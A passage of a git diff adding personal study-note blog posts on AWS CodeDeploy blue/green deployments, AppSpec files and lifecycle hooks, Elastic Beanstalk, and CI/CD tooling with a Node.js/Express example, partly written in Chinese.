bucket or GitHub repository to pull the revision from + - to which set of Amazon EC2 instances to deploy its contents. + - deployment group + - CodeDeploy calls a set of Amazon EC2 instances a deployment group. + - A deployment group contains + - individually tagged Amazon EC2 instances + - Amazon EC2 instances in Amazon EC2 Auto Scaling groups + - or both. + - Each time successfully upload a new application revision to deploy to the deployment group, that bundle is set as the target revision for the deployment group. + - In other words, the application revision that is currently targeted for deployment is the target revision. + - This is also the revision that is pulled for automatic deployments. + +3. CodeDeploy agent on each instance + - polls CodeDeploy to determine what and when to pull from the specified Amazon S3 bucket or GitHub repository. + - pulls the target revision from the Amazon S3 bucket or GitHub repository + - using the instructions in the AppSpec file, deploys the contents to the instance. + +![Screen Shot 2021-01-18 at 16.07.37](https://i.imgur.com/04Fr8pe.png) + +![Screen Shot 2021-01-18 at 16.08.10](https://i.imgur.com/KporMZq.png) + +![Screen Shot 2021-01-18 at 16.08.23](https://i.imgur.com/W3jDElq.png) + + +--- + + +### Blue/Green deployment + +One of the challenges of automating deployment is the cutover, +- take software from the final stage of testing to live production + +Blue/Green deployment +1. test new hardware or applications without going fully into production + +1. update the applications while minimizing interruptions caused by the changes of a new application version. + +1. CodeDeploy provisions your new application version alongside the old version before rerouting your production traffic + - After the green deployment is complete and functional, begin to shut down or upgrade the blue deployment. + +1. rapid roll back + - switching back to blue deployment if the green environment is not working properly. + + +blue/green deployment is highly desirable +- the live production environment is “blue” +- the matching environment is “green” + + + +#### Blue/green deployment on different compute platform + +**Blue/green deployment**: The behavior of your deployment depends on which compute platform you use: + +1. AWS Lambda : + - Traffic is shifted from one version of a Lambda function to a new version of the same Lambda function + - specify Lambda functions that perform validation tests and choose the way in which the traffic shifting occurs. + +2. Amazon ECS : + - Traffic is shifted from a task set in your Amazon ECS service to an updated, replacement task set in the same Amazon ECS service + - can set the traffic shifting to linear or canary through the deployment configuration. + - The protocol and port of a specified load balancer listener is used to reroute production traffic. + - During a deployment, a test listener can be used to serve traffic to the replacement task set while validation tests are run. + + +3. EC2/On-Premises : + - Traffic is shifted from one set of instances in the original environment to a replacement/different set of instances + - the original environment -> the replacement environment + - Instances are provisioned for the replacement environment. + - The latest application revision is installed on the replacement instances. + - An optional wait time occurs for activities such as application testing and system verification. + - Elastic Load Balancing load balancer + - Instances in the replacement environment are registered with an Elastic Load Balancing load balancer , causing traffic to be rerouted to them. + - Instances in the original environment are deregistered and can be terminated or kept running for other uses. + + +4. AWS CloudFormation : + - Traffic is shifted from your current resources to your updated resources as part of an AWS CloudFormation stack update. + - Currently, only Amazon ECS blue/green deployments are supported. + + - AWS CloudFormation templates for deployments: + - configure deployments with AWS CloudFormation templates + - deployments are triggered by AWS CloudFormation updates. + - change a resource and upload a template change, a stack update in AWS CloudFormation initiates the new deployment + + - Blue/green deployments through AWS CloudFormation: use AWS CloudFormation to manage your blue/green deployments through stack updates. + - define both your blue and green resources, in addition to specifying the traffic routing and stabilization settings, within the stack template. + - if update selected resources during a stack update, AWS CloudFormation generates all the necessary green resources, shifts the traffic based on the specified traffic routing parameters, and deletes the blue resources. + + + +overall +- All AWS Lambda and Amazon ECS deployments are blue/green. For this reason, do not need to specify a deployment type. +- An EC2/On-Premises deployment can be in-place or blue/green. + - blue/green deployments work with Amazon EC2 instances only. + + +--- + +#### Blue/Green deployment through lambda and ECS + +> If using the AWS Lambda compute platform, must choose the deployment configuration types specify how traffic is shifted from the original AWS Lambda function version to the new AWS Lambda function version + +> If you're using the Amazon ECS compute platform, you must choose one of the following deployment configuration types to specify how traffic is shifted from the original Amazon ECS task set to the new Amazon ECS task set: + + +- **Canary** 金丝雀 : + - split traffic + - sending a small percentage of the traffic to the new version of your application + - Traffic is shifted in two increments + - **predefined canary options** + - specify the percentage of traffic shifted to the updated Lambda function version in the first increment + - and the interval, in minutes, before the remaining traffic is shifted in the second increment. + +- **Linear**: + - Traffic is shifted in equal increments with an equal number of minutes between each increment. + - **predefined linear options** + - specify the percentage of traffic shifted in each increment + - and the number of minutes between each increment. + +- **All-at-once**: + - All traffic is shifted from the original Lambda function to the updated Lambda function version all at once. + + + +--- + +#### Blue/Green deployment on an EC2/on-premises compute platform + +> must use Amazon EC2 instances for blue/green deployments on the EC2/On-Premises compute platform. +> On-premises instances are not supported for the blue/green deployment type. + +to use the EC2/On-Premises compute platform, the following applies: +- must have one or more Amazon EC2 instances with identifying Amazon EC2 tags or an Amazon EC2 Auto Scaling group. +- The instances must meet these additional requirements: + - Each Amazon EC2 instance must have the correct IAM instance profile attached. + - The CodeDeploy agent must be installed and running on each instance. + +> You typically also have an application revision running on the instances in your original environment, but this is not a requirement for a blue/green deployment. + +- create a deployment group that is used in blue/green deployments, choose how your replacement environment is specified + - Copy an existing Amazon EC2 Auto Scaling group + - During the blue/green deployment, CodeDeploy creates the instances for your replacement environment during the deployment. + - CodeDeploy uses the Amazon EC2 Auto Scaling group you specify as a template for the replacement environment, including the same number of running instances and many other configuration options. + - Choose instances manually + - specify the instances to be the replacement using Amazon EC2 instance tags, Amazon EC2 Auto Scaling group names, or both + - do not need to specify the instances for the replacement environment until you create a deployment. + + +Here's how it works: +1. have instances or an Amazon EC2 Auto Scaling group serves as the original environment. + - The first time you run a blue/green deployment, you typically use instances that were already used in an in-place deployment. + +2. In an existing CodeDeploy application + - create a blue/green deployment group + - in addition to the options required for an in-place deployment, specify the following : + - The load balancer: routes traffic from original environment to replacement environment during the blue/green deployment process. + - Whether to reroute traffic to the replacement environment immediately or wait to reroute it manually. + - The rate at which traffic is routed to the replacement instances. + - Whether the instances that are replaced are terminated or kept running. + +3. create a deployment for this deployment group during which the following occur: + - chose to copy an Amazon EC2 Auto Scaling group, + - instances are provisioned for your replacement environment. + - The application revision you specify for the deployment is installed on the replacement instances. + - specified a wait time in the deployment group settings, the deployment is paused. + - This is the time when you can run tests and verifications in your replacement environment. + - If you don't manually reroute the traffic before the end of the wait period, the deployment is stopped. + - replacement environment Instances are registered with an Elastic Load Balancing load balancer and traffic starts being routed to them. + - original environment Instances are deregistered and handled according to your specification in the deployment group, either terminated or kept running. + +--- + + +#### Blue/Green deployment through AWS CloudFormation + +manage CodeDeploy blue/green deployments by model the blue/green resources with an AWS CloudFormation template. + +1. create a stack update in AWS CloudFormation that updates your task set. +2. Production traffic shifts from your service's original task set to a replacement task set + - either all at once, + - with linear deployments and bake times, + - or with canary deployments. +3. The stack update initiates a deployment in CodeDeploy. + +> You can view the deployment status and history in CodeDeploy +> but you do not otherwise create or manage CodeDeploy resources outside of the AWS CloudFormation template. +> For blue/green deployments through AWS CloudFormation, you don't create a CodeDeploy application or deployment group. + +> This method supports Amazon ECS blue/green deployments only. + +--- + + +## AppSpec File - Application Specification File + +a YAML-formatted or JSON-formatted file used by CodeDeploy to manage a deployment. + + defines the parameters to be used during a CodeDeploy deployment + + +```json +appspec.yml // must be in the root +/Scripts +/Config +/Source +``` + +![Screen Shot 2020-12-28 at 22.39.43](https://i.imgur.com/YQVng95.png) + +> Hooks: +> Lifycycle event hooks +> have a very specific run order + +1. create a completed AppSpec file + +2. bundle it with the content to deploy, into an archive file (zip, tar, or compressed tar). + > The tar and compressed tar archive file formats (.tar and .tar.gz) are not supported for Windows Server instances. + +3. upload it to an Amazon S3 bucket or Git repository. + +4. use CodeDeploy to deploy the revision. + + + +### AppSpec files on an Amazon ECS compute platform + +the AppSpec file is used by CodeDeploy to determine: + +- the Amazon ECS task definition file . This is specified with its ARN in the TaskDefinition instruction in the AppSpec file. + +- The container and port in replacement task set where your Application Load Balancer or Network Load Balancer reroutes traffic during a deployment. This is specified with the LoadBalancerInfo instruction in the AppSpec file. + +- Optional information about your Amazon ECS service, such the platform version on which it runs, its subnets, and its security groups. + +- Optional Lambda functions to run during hooks that correspond with lifecycle events during an Amazon ECS deployment. + + +### AppSpec files on an AWS Lambda compute platform + +the AppSpec file is used by CodeDeploy to determine: + +- Which Lambda function version to deploy. + +- Which Lambda functions to use as validation tests. + +An AppSpec file can be YAML-formatted or JSON-formatted. +- can also enter the contents of an AppSpec file directly into CodeDeploy console when you create a deployment. + + +### AppSpec files on an EC2/on-premises compute platform + + +the AppSpec file +- YAML only, named `appspec.yml`. +- must be placed in the root of the directory structure of an application's source code. Otherwise, deployments fail. + +It is used by CodeDeploy to determine: +- What it should install onto your instances from your application revision in Amazon S3 or GitHub. +- Which lifecycle event hooks to run in response to deployment lifecycle events. + +--- + + +### AppSpec File spacing + + +The following is the correct format for AppSpec file spacing. The numbers in square brackets indicate the number of spaces that must occur between items. + +> CodeDeploy raises an error that might be difficult to debug if the locations and number of spaces in an AppSpec file are not correct. + + +```yml +version:[1]version-number # version: 0.0 +os:[1]operating-system-name # os: linux OR windows +files: # files: +[2]-[1]source:[1]source-files-location # - source: / +[4]destination:[1]destination-files-location # destination: /var/www/html/WordPress +permissions: # permissions: +[2]-[1]object:[1]object-specification +[4]pattern:[1]pattern-specification +[4]except:[1]exception-specification +[4]owner:[1]owner-account-name +[4]group:[1]group-name +[4]mode:[1]mode-specification +[4]acls: # [4]acls: +[6]-[1]acls-specification +[4]context: +[6]user:[1]user-specification +[6]type:[1]type-specification +[6]range:[1]range-specification +[4]type: +[6]-[1]object-type +hooks: # hooks: +[2]deployment-lifecycle-event-name: # BeforeInstall: +[4]-[1]location:[1]script-location # - location: scripts/install_dependencies.sh +[6]timeout:[1]timeout-in-seconds # timeout: 300 +[6]runas:[1]user-name # runas: root + # AfterInstall: + # - location: scripts/change_permissions.sh + # timeout: 300 + # runas: root + # ApplicationStart: + # - location: scripts/start_server.sh + # - location: scripts/create_test_db.sh + # timeout: 300 + # runas: root + # ApplicationStop: + # - location: scripts/stop_server.sh + # timeout: 300 + # runas: root + +# example of a correctly spaced AppSpec file: +version: 0.0 +os: linux +files: + - source: / + destination: /var/www/html/WordPress +hooks: + BeforeInstall: + - location: scripts/install_dependencies.sh + timeout: 300 + runas: root + AfterInstall: + - location: scripts/change_permissions.sh + timeout: 300 + runas: root + ApplicationStart: + - location: scripts/start_server.sh + - location: scripts/create_test_db.sh + timeout: 300 + runas: root + ApplicationStop: + - location: scripts/stop_server.sh + timeout: 300 + runas: root + + +# example of a correctly spaced AppSpec file: +version: 0.0 +os: linux +files: + - source: Config/config.txt + destination: /webapps/Config + - source: Source + destination: /webapps/Config +hooks: + BeforeInstall: + - location: scripts/install_dependencies.sh + - location: scripts/UnzipResourceBundle.sh + location: scripts/UnzipDataBundle.sh + timeout: 300 + runas: root + AfterInstall: + - location: scripts/change_permissions.sh + - location: scripts/RunResourceTests.sh + timeout: 300 + runas: root + ApplicationStart: + - location: scripts/start_server.sh + - location: scripts/create_test_db.sh + - location: scripts/RunFunctionTests.sh + timeout: 300 + runas: root + ValidataService: + - location: scripts/MonitorService.sh + timeout: 3600 + runas: CodeDeployuser +ApplicationStop: + - location: scripts/stop_server.sh + timeout: 300 + runas: root +``` + +--- + + + +### CodeDeploy Lifecycle Event Hooks + +![Screen Shot 2020-12-28 at 22.52.25](https://i.imgur.com/0dhiM3N.png) + +![Screen Shot 2020-12-28 at 22.59.32](https://i.imgur.com/EnvL4Zi.png) + +![Screen Shot 2020-12-28 at 22.59.18](https://i.imgur.com/HlCCRwz.png) + +![Screen Shot 2020-12-28 at 23.00.21](https://i.imgur.com/TKYJgop.png) + +| Lifecycle event name | In-place deployment | Blue/green deployment | | | | +| -------------------------------------------------------------------------------------------------------------------------- | ------------------- | ----------------------------------------- | -------------------------------------------- | -------------------------------------------------- | ----------------------------------------------------- | +| Lifecycle event name | In-place deployment | Blue/green deployment: Original instances | Blue/green deployment: Replacement instances | Blue/green deployment rollback: Original instances | Blue/green deployment rollback: Replacement instances | +| --- | --- | --- | --- | --- | --- | +| BeforeBlockTraffic | ✓ | ✓ | | | ✓ | +| BlockTraffic | ✓ | ✓ | | | ✓ | +| AfterBlockTraffic | ✓ | ✓ | | | ✓ | +| ApplicationStop
    gracefully stop the app | ✓ | | ✓ | | +| DownloadBundle
    CodeDeploy agent copy the revision files to location
    | ✓ | | ✓ | | +| BeforeInstall
    pre-install, backup the current version, configurstion, decrypting files | ✓ | | ✓ | | +| Install
    copy application file to final location | ✓ | | ✓ | | +| AfterInstall
    post-install, configuration, file permissions
    | ✓ | | ✓ | | +| ApplicationStart
    start servicesthat were stop during application stop
    | ✓ | | ✓ | | +| ValidateService
    run tests to validate the service | ✓ | | ✓ | | +| BeforeAllowTraffic | ✓ | | ✓ | ✓ | +| AllowTraffic | ✓ | | ✓ | ✓ | +| AfterAllowTraffic | ✓ | | ✓ | ✓ | + + +--- + + +## Setup an app in CodeDeploy + +> 1. setup ec2 role (EC2 - S3FullAcess) +> 2. setup CodeDeploy role (CodeDeploy - AWSCodeDeployRole) +> 3. create ec2 with ec2 role +> 4. install CodeDeploy agent on ec2 instance +> 5. create IAM user for local machine to CodeDeploy +> 6. create application.zip +> 7. create S3 bucket +> 8. create application.zip and load it to CodeDeploy +> 9. app should be in CodeDeploy +> 10. create depolyment group + + + + + +1. setup ec2 role (EC2 - S3FullAcess) +2. setup CodeDeploy role (CodeDeploy - AWSCodeDeployRole) + - autoscaling, tag, sns, cloudwatch, elasticloadbalancing +3. create ec2 with ec2 role +4. install CodeDeploy agent on ec2 instance + + ```bash + # install CodeDeploy agent + sudo yum update + sudo yum install ruby + sudo yum install wget + cd /home.ec2-user + # CodeDeploy agent file + wget https://aws-CodeDeploy-eu-west-2.s3.amazonaws.com/latest/install + chmod +x ./install + sudo ./install auto + sudo service CodeDeploy-agent status + ``` + +5. create IAM user for local machine to CodeDeploy + - CodeDeploy&s3 policy + ```bash + aws configure + # add access key id + # add secrect access key + ``` + +6. create application.zip + + ```bash + application.zip + - appspec.yml + - index.html + - scripts/ + - install_dependencies.sh + - start_server.sh + - stop_server.sh + + # appspec.yml + version: 0.0 + os: linux + files: + - source: /index.html + destination: /var/www/html + hooks: + BeforeInstall: + - location: scripts/install_dependencies.sh + timeout: 300 + runas: root + - location: scripts/start_server.sh + timeout: 300 + runas: root + ApplicationStop: + - location: scripts/stop_server.sh + timeout: 300 + runas: root + + # install_dependencies.sh + yum install -y httpd + # start_server.sh + service httpd start + # stop_server.sh + service httpd stop + ``` + +7. create S3 bucket + +8. create application.zip and load it to CodeDeploy + + ```bash + # create application + aws CodeDeploy create-application --application-name mywebapp + # push app to s3 + aws CodeDeploy push --application-name mywebapp --s3-location s3:////webapp.zip --install + ``` + +9. app should be in CodeDep + +10. create depolyment group + - select service role, deployment type, deployment setting (Allatonce, HalfAtATime, OneAtATime), load balancer. + +11. Create Deployment + - select revision location (S3/Github) + - rollback + + + + + + + + + + + + + + + + + + + + +. diff --git a/_posts/01Cloud/01AWS/CodeDevelop/2020-07-18-3CodeDeployTemplate-appspec.md b/_posts/01Cloud/01AWS/CodeDevelop/2020-07-18-3CodeDeployTemplate-appspec.md new file mode 100644 index 00000000000..312d6e10272 --- /dev/null +++ b/_posts/01Cloud/01AWS/CodeDevelop/2020-07-18-3CodeDeployTemplate-appspec.md @@ -0,0 +1,117 @@ +--- +title: AWS - CodeDevelop - CodeDeploy - appspec.yml Template +date: 2020-07-18 11:11:11 -0400 +categories: [01AWS, CodeDevelop] +tags: [AWS] +toc: true +image: +--- + + +# appspec.yml Template + + +```yml +# example from AWS WhitePaper, no real credential inside + +version:[1]version-number # version: 0.0 +os:[1]operating-system-name # os: linux OR windows +files: # files: +[2]-[1]source:[1]source-files-location # - source: / +[4]destination:[1]destination-files-location # destination: /var/www/html/WordPress +permissions: # permissions: +[2]-[1]object:[1]object-specification +[4]pattern:[1]pattern-specification +[4]except:[1]exception-specification +[4]owner:[1]owner-account-name +[4]group:[1]group-name +[4]mode:[1]mode-specification +[4]acls: # [4]acls: +[6]-[1]acls-specification +[4]context: +[6]user:[1]user-specification +[6]type:[1]type-specification +[6]range:[1]range-specification +[4]type: +[6]-[1]object-type +hooks: # hooks: +[2]deployment-lifecycle-event-name: # BeforeInstall: +[4]-[1]location:[1]script-location # - location: scripts/install_dependencies.sh +[6]timeout:[1]timeout-in-seconds # timeout: 300 +[6]runas:[1]user-name # runas: root + # AfterInstall: + # - location: scripts/change_permissions.sh + # timeout: 300 + # runas: root + # ApplicationStart: + # - location: scripts/start_server.sh + # - location: scripts/create_test_db.sh + # timeout: 300 + # runas: root + # ApplicationStop: + # - location: scripts/stop_server.sh + # timeout: 300 + # runas: root + + +# example of a correctly spaced AppSpec file: +version: 0.0 +os: linux +files: + - source: / + destination: /var/www/html/WordPress +hooks: + BeforeInstall: + - location: scripts/install_dependencies.sh + timeout: 300 + runas: root + AfterInstall: + - location: scripts/change_permissions.sh + timeout: 300 + runas: root + ApplicationStart: + - location: scripts/start_server.sh + - location: scripts/create_test_db.sh + timeout: 300 + runas: root + ApplicationStop: + - location: scripts/stop_server.sh + timeout: 300 + runas: root + + +# example of a correctly spaced AppSpec file: +version: 0.0 +os: linux +files: + - source: Config/config.txt + destination: /webapps/Config + - source: Source + destination: /webapps/Config +hooks: + BeforeInstall: + - location: scripts/install_dependencies.sh + - location: scripts/UnzipResourceBundle.sh + location: scripts/UnzipDataBundle.sh + timeout: 300 + runas: root + AfterInstall: + - location: scripts/change_permissions.sh + - location: scripts/RunResourceTests.sh + timeout: 300 + runas: root + ApplicationStart: + - location: scripts/start_server.sh + - location: scripts/create_test_db.sh + - location: scripts/RunFunctionTests.sh + timeout: 300 + runas: root + ValidataService: + - location: scripts/MonitorService.sh + timeout: 3600 + runas: CodeDeployuser +ApplicationStop: + - location: scripts/stop_server.sh + timeout: 300 + runas: root +``` diff --git a/_posts/01Cloud/01AWS/CodeDevelop/2020-07-18-ElasticBeanstalk.md b/_posts/01Cloud/01AWS/CodeDevelop/2020-07-18-ElasticBeanstalk.md new file mode 100644 index 00000000000..f6358fcaa88 --- /dev/null +++ b/_posts/01Cloud/01AWS/CodeDevelop/2020-07-18-ElasticBeanstalk.md @@ -0,0 +1,174 @@ +--- +title: AWS - CodeDevelop - ElasticBeanstalk +date: 2020-07-18 11:11:11 -0400 +categories: [01AWS, CodeDevelop] +tags: [AWS] +toc: true +image: +--- + +- [AWS ElasticBeanstalk ](#aws-elasticbeanstalk-----) + - [basics](#basics) + - [benefits](#benefits) + - [Blue/green deployment](#bluegreen-deployment) + - [Elastic Beanstalk for docker](#elastic-beanstalk-for-docker) + +--- + +# AWS ElasticBeanstalk  + + +![ElasticBeanstalk](https://i.imgur.com/poyMxI7.png) + + + +## basics + +- AWS compute service option. +- PaaS + +- deploys your code on: + - Apache Tomcat for Java applications; + - Apache HTTP Server for PHP and Python applications; + - NGINX or Apache HTTP Server for Node.js applications; + - Passenger or Puma for Ruby applications; + - Microsoft Internet Information Services (IIS) for .NET applications, Java SE, Docker, and Go. + +pic + +Setup: +1. Elastic Beanstalk > create a web app + - single docker container or multiple docker container + - upload application code zip + - `dockerfile` + - `application.py` + - create application + - get the url + - web application server from the container running in Elastic Beanstalk + +2. upgrade + - select upload and deploy + - go to version page and select the previous version. + + +--- + +## benefits + +- fully managed + - The entire platform is already built, only need to upload code + +- fast and simple way + 1. to get web application up and runninng + - quick deployment, scaling, and management of web applications and services. + - Choose instance type, database, set and adjust automaticscaling, update application, access the server log files, and enable HTTPS on the load balancer. + - provides all the application services that you need for your application. + - make deploying your application a quick and easy process. + - Use the AWS Management Console, a Git repository, or an integrated development environment(IDE) such as Eclipse or Visual Studio to upload your application. + - deploy code through the AWS Management Console, AWS CLI, Visual Studio, and Eclipse. + - supports a broad range of platforms (Docker, Go, Java, .NET, Node.js, PHP, Python, and Ruby). + 2. supports the deployment of Docker containers + - Docker containers: are self-containered and include all the configuration information and software your web application required to run, + - libraries, system tools, code&runtime + +- automated deployment scaling service for web applications + - Elastic Beanstalk automatically handles the deployment details of + - capacity provisioning, Load balancing, auto scaling, and application health monitoring + - Application platform management + - automated infrastructure management + - Code deployment + +- improve developer productivity + - focusing on writing code + - instead of managing and configuring servers, databases, load balancers, firewalls, and networks. + - AWS updates the underlying platform that runs your application with patches and updates. + +- Elastic Beanstalk is difficult to outgrow + - With Elastic Beanstalk, the application can handle peaks in workload or traffic while minimizing your costs. + - It automatically scales your application up or down based on your application's specific needs by using easily adjustable automatic scaling settings. + - use CPU utilization metrics to trigger automatic scalingactions. + +- free to select the AWS resource (like EC2 instance type) optimal for the application. + - retain full control over the AWS resources that power the application + - and can access the underlying resources at any time. + - If decide to take over some (or all) of the elements of the infrastructure, do so seamlessly by using the management capabilities that are provided by Elastic Beanstalk. + + +- no additional charge for AWS Elastic Beanstalk. + - pay for the AWS resources (for example, EC2 instances or S3 buckets) created to store and run your application. + - only pay for what you use, as you use it. + - no minimum fees or upfront commitments. + + + +--- + +## Blue/green deployment + +One of the challenges of automating deployment is the cutover, +- when take software from the final stage of testing to live production. + + +Blue/green deployment on AWS Elastic Beanstalk +- Blue/green + - the live production environment is “blue” + - the new deployment environment is “green” + - pic + +- test new hardware or applications without going fully into production +- quickly deploy the application without downtime for web application. + - deploy updates to the green deployment and attach it to your load balancer. + - After the green deployment is complete and functional, begin to shut down or upgrade the blue deployment. + - also can rapid roll back switching back to blue deployment if the green environment is not working properly. + + +Blue/green deployment on AWS CloudFormation +- AWS CloudFormation templates were used instead of Elastic Beanstalk. + - It takes little more effort than the Elastic Beanstalk approach. + - pic +- use AWS CloudFormation to implement the blue/green deployment. + - Traffic was trickled from Stack 1 to Stack 2 until it was apparent that Stack 2 was functional. + - After Stack 2 was functional, the connection to Stack 1 (former production environment) was taken away. + - Stack 2 became the new production environment, and the old production environment was torn down. + +- used if your code is using a supported runtime (Ruby, Python, etc.) +- when needing minimal to no admin overhead +- key architecture components in Elastic Beanstalk + - an application + - The base entity of Elastic Beanstalk is an application. + - An Elastic Beanstalk's application can be thought of as a container. + - environment + - work environment or web server environment. + - allows for quick environment deployment and management of an application + - an application can contain zero to multiple environments + - Each environment has a different URL + - can use each URL for A/B testing to see which application version is better for users. + - Environments live in an application container and it references a specific application version + - application container > environment > a single application version + - An application version + - a distinct version of an app's code that's packaged into a source bundle. + + +--- + +## Elastic Beanstalk for docker + +1. deploy docker container + - single docker container + - run a single docker container on an EC2 instance provisioned by Elastic Beanstalk + - multiple docker container + - use Elastic Beanstalk to build an ECS cluster and deploy multiple docker container on each instance + +2. deploy your code + - upload a zip file containing the code bundle and Elastic Beanstalk will do the rest. + +3. upload your code + - upgrade your application to a new version + - one easy step in the concole to upload and deploy. + +--- + + + + +. diff --git a/_posts/01Cloud/01AWS/CodeDevelop/2020-11-11-CI-CD.md b/_posts/01Cloud/01AWS/CodeDevelop/2020-11-11-CI-CD.md new file mode 100644 index 00000000000..1022840d93e --- /dev/null +++ b/_posts/01Cloud/01AWS/CodeDevelop/2020-11-11-CI-CD.md @@ -0,0 +1,703 @@ +--- +title: CI/CD - Continuous Integration & Continuous Delivery +date: 2020-11-11 11:11:11 -0400 +categories: [10SecConcept] +tags: [SecConcept] +toc: true +image: +--- + +- [CI/CD](#cicd) + - [CI](#ci) + - [CD](#cd) +- [AWS Develop Tool](#aws-develop-tool) +- [Other Tools](#other-tools) + - [Action](#action) + - [Jenkins](#jenkins) + - [在本地端測試 Node.js](#在本地端測試-nodejs) + - [測試 Node.js](#測試-nodejs) + - [CircleCI](#circleci) + - [1. upload code to GitHub](#1-upload-code-to-github) + - [2. setup CircleCI 加入 GitHub repository](#2-setup-circleci-加入-github-repository) + - [3. 在 CircleCI 測試 Node.js](#3-在-circleci-測試-nodejs) + - [4. Code Review with GitHub Flow](#4-code-review-with-github-flow) + - [5. Merge&部署](#5-merge部署) + - [Docker](#docker) + - [在本地测试 Docker 上的 Node.js](#在本地测试-docker-上的-nodejs) + - [在 CircleCI 測試 Docker 上的 Node.js](#在-circleci-測試-docker-上的-nodejs) + - [AWS Elastic Beanstalk](#aws-elastic-beanstalk) + - [Slack](#slack) + +--- + +- ref + - [什麼是 CI/CD ?](https://medium.com/@Bear_/%E4%BB%80%E9%BA%BC%E6%98%AF-ci-cd-72bd5ae571f1) + - [DevOps:持續整合&持續交付(Docker、CircleCI、AWS](https://blog.amowu.com/devops-continuous-integration-delivery-docker-circleci-aws-beanstalk/) + + +--- + +# CI/CD + +> apply changes everyday without inffect their service + + Continuous Integration +- integrating or merging the code Changes frequently +- version control + - at least once per day + - tools: AWS CodeCommit + + Continuous Delivery +- Automating the build, test and deployment functions +- tools: CodeBuild. CodeDeploy + + Continuous Deployment +- Fully automated release process +- code is deployed into Staging or Production as soon as it has successfully passed through the release pipelines +- tools: CodePipeline + +![Screen Shot 2020-12-27 at 03.11.51](https://i.imgur.com/Q6ZNcPC.png) + +--- + +## CI +- 降低風險。 +- 減少人工手動的繁複程序。 +- 可隨時產生一版可部署的版本。 +- 增加系統透明度。 +- 建立團隊信心。 + +針對軟體系統每個變動,能持續且自動地進行驗證。此驗證可能包含了: +- 建置 (build) +- 測試 (test) +- 程式碼分析 (source code analysis) +- 其他相關工作 (自動部署) +- 驗證完成後,進一步可以整合自動化發佈或部署 (Continuous Delivery / Continuous Deployment) 。 + +> 透過此流程可以確保軟體品質 +> 不會因為一個錯誤變動而產生錯誤結果或崩潰(Crash)。 +> 此流程中的各類工具,也會產生一些回饋給開發者或其他角色,包含網頁/報表等等,用來追蹤並改善軟體潛藏的問題。 + + +goal: +1. software development best practice +2. make small changes & automate everything + - small, incremental code changes + - automate as much as possible + - slow, error prone, inconsistent, unscalable complex + - fast, repeatable, scalable, enables rapid deployment + - test each code change and catch bugs while they are small and simple to fix. + - code integration, build, test and deployment + +![CI](https://i.imgur.com/2I2pOMB.png) + + +--- + + +## CD + +![CD](https://i.imgur.com/jXcnQzc.png) + + +--- + +# AWS Develop Tool + +![AWS Develop Tool](https://i.imgur.com/TXwpVvo.png) + + +--- + +# Other Tools + + +``` +Git — 版本管理 +GitHub — 程式碼託管、審查 +CircleCI — 自動化建置、測試、部署 +Docker — 可攜式、輕量級的執行環境(使用 Docker,統一開發者、測試人員、以及產品的執行環境。) +AWS Elastic Beanstalk — 雲端平台 +Slack — 團隊溝通、日誌、通知 + +``` + + +![sequence-diagram](https://i.imgur.com/r3PVrBr.png) + +--- + +## Action + +ref: +- [bilibili - 都给我去看 讲得太好了 哭泣脸](https://www.bilibili.com/video/BV1RE411R7Uy/?spm_id_from=333.788.recommend_more_video.5) + + +--- + + +## Jenkins +- Jenkins的功能完整,也提供了上千個外掛 (Plugins) 來對應各種開發語言與工具。 +- Jenkins目前已發展到了 2.x 版,新版本中對於 Pipeline 概念及容器 (Container) 整合也趨於完整,是一套可以自訂運用的系統。 +- 但也因為其功能強大、客製程度高,上手需要一些時間。 +- 然而一旦流程被定義,並整合好相關環境,它可以發揮持續性整合威力,大幅增加開發生產力 + +我們結合了 Git Flow + Protected Branch Flow 的開發流程,流程如下: +1. 開發者 (Developer) create 一個功能分支 (feature branch)。 +2. 開發者提交一個 Pull Request, SCM 系統會自動觸發 Jenkins 進行建置以及測試。 + 1. 這個觸發通常是經由 Webhook 來實現。 +3. 在軟體建置完成後,在 Jenkins 增加一個步驟來送出 Code Scan 的請求給 Sonarqube 系統。 + 1. Sonarqube 在完成 Code Scan 後將結果寫回 SCM 系統。 +4. 在 SCM 上連結了 Slack,每個步驟完成(成功或失敗)的通知便可以送到 Slack 群組。 +5. 原碼審核者 (Reviewer) 可以到 SCM 上查看這個Pull Request的相關訊息,搭配 Code Scan的結果決定是否將這個分支合併 (merge) 回主線(develop/master branch)。 +6. 分支合併可以觸發另一個 CI 工作,使 Jenkins 將主線建置後部署到測試環境提供給其他人員進行測試。 + +--- + + + +## 在本地端測試 Node.js + + + +```bash +# ---------------------------- 建立專案資料夾 +# 以 hello-ci-workflow 為例: +$ mkdir hello-ci-workflow +$ cd hello-ci-workflow + + +# ---------------------------- 在本地端執行 Node.js +# 初始化 Node.js 的環境 +$ npm init +# 填寫一些資料之後會在目錄下產生一個 package.json 的檔案: +# This utility will walk you through creating a package.json file. +# package name: (hello-ci-workflow) +# version: (1.0.0) +# description: +# entry point: (index.js) +# test command: +# git repository: +# keywords: +# author: +# license: (ISC) +# About to write to /Users/luo/Documents/code/hello-ci-workflow/package.json: +# { +# "name": "hello-ci-workflow", +# "version": "1.0.0", +# "description": "", +# "main": "index.js", +# "scripts": { +# "test": "echo \"Error: no test specified\" && exit 1" +# }, +# "author": "", +# "license": "ISC" +# } +# Is this OK? (yes) yes + + + +# 安裝 Node.js 的 web framework,以 Express 為例: +# --save: 寫入 package.json 的 dependencies。 +$ npm install express --save + + + +# 完成之後,package.json 大概會長這個樣子: +# add the "scripts" in your package.json +# package.json +{ + "name": "hello-ci-workflow", + "version": "1.0.0", + "main": "index.js", + "scripts": { # the script it can run + "test": "echo \"Error: no test specified\" && exit 1", + "start": "node index.js" + }, + "author": "", + "license": "ISC", + "dependencies": { + "express": "^4.17.1" + }, + "devDependencies": {}, + "description": "" +} + + +# 在 index.js 裡寫一段簡單的 Hello World! 的程式: +# This app starts a server and listens on port 3000 for connections. The app responds with “Hello World!” for requests to the root URL (/) or route. For every other path, it will respond with a 404 Not Found. +# index.js: +var express = require('express'); +var app = express(); +const port = 3000 + +app.get('/', function(req, res){ + res.send('Hello World!'); +}); + +var server = app.listen(port, function(){ + var host = server.address().address; + var port = server.address().port; + console.log("Example app listening at https://%s:%s", host, port); +}); + + + +# 執行 npm start 或 node index.js: +$ npm start + + +# 打開瀏覽器 https://localhost:3000 看結果: +``` + + + +### 測試 Node.js + + +```bash +# 安裝 Node.js 的單元測試,以 Mocha 為例: +$ npm install mocha --save-dev +# --save-dev: 寫入 package.json 的 devDependencies,正式上線環境不會被安裝。 +# package.json +{ + "name": "hello-ci-workflow", + "version": "1.0.0", + "main": "index.js", + "scripts": { + "test": "echo \"Error: no test specified\" && exit 1", + "start": "node index.js" + }, + 